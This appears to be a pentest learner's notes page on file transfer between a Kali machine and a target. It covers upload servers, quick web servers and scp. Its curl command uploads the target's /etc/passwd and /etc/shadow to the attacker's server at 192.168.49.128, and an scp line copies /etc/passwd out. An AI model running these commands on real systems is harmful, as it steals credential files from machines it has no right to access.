Upload

Web Upload

Notes and commands for Web Upload.

2024-03-27
Tags file-transferlinux-file-transferuploadweb-upload

upload server module similar to windows

Start upload Http server on kali

  • sudo python3 -m pip install --user uploadserver

Create self signed cert. openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj ‘/CN=server

Webserver should not hold the cert so create new folder and switch itno it

  • mkdir https && cd https

Now start the server

  • sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Send Post request from our target to kali (upload them)

  • curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

setting up quick mini-web-server for up/download on target machine

  • Python3:

  • python3 -m http.server

  • Python 2.7

  • python2.7 -m SimpleHTTPServer

  • With php:

  • php -S 0.0.0.0:8000

  • With ruby:

  • ruby -run -ehttpd. -p8000

download from our kali

  • wget 192.168.49.128:8000/filetotransfer.txt

when ssh for outbound traffic is allowed we can use scp

  • scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/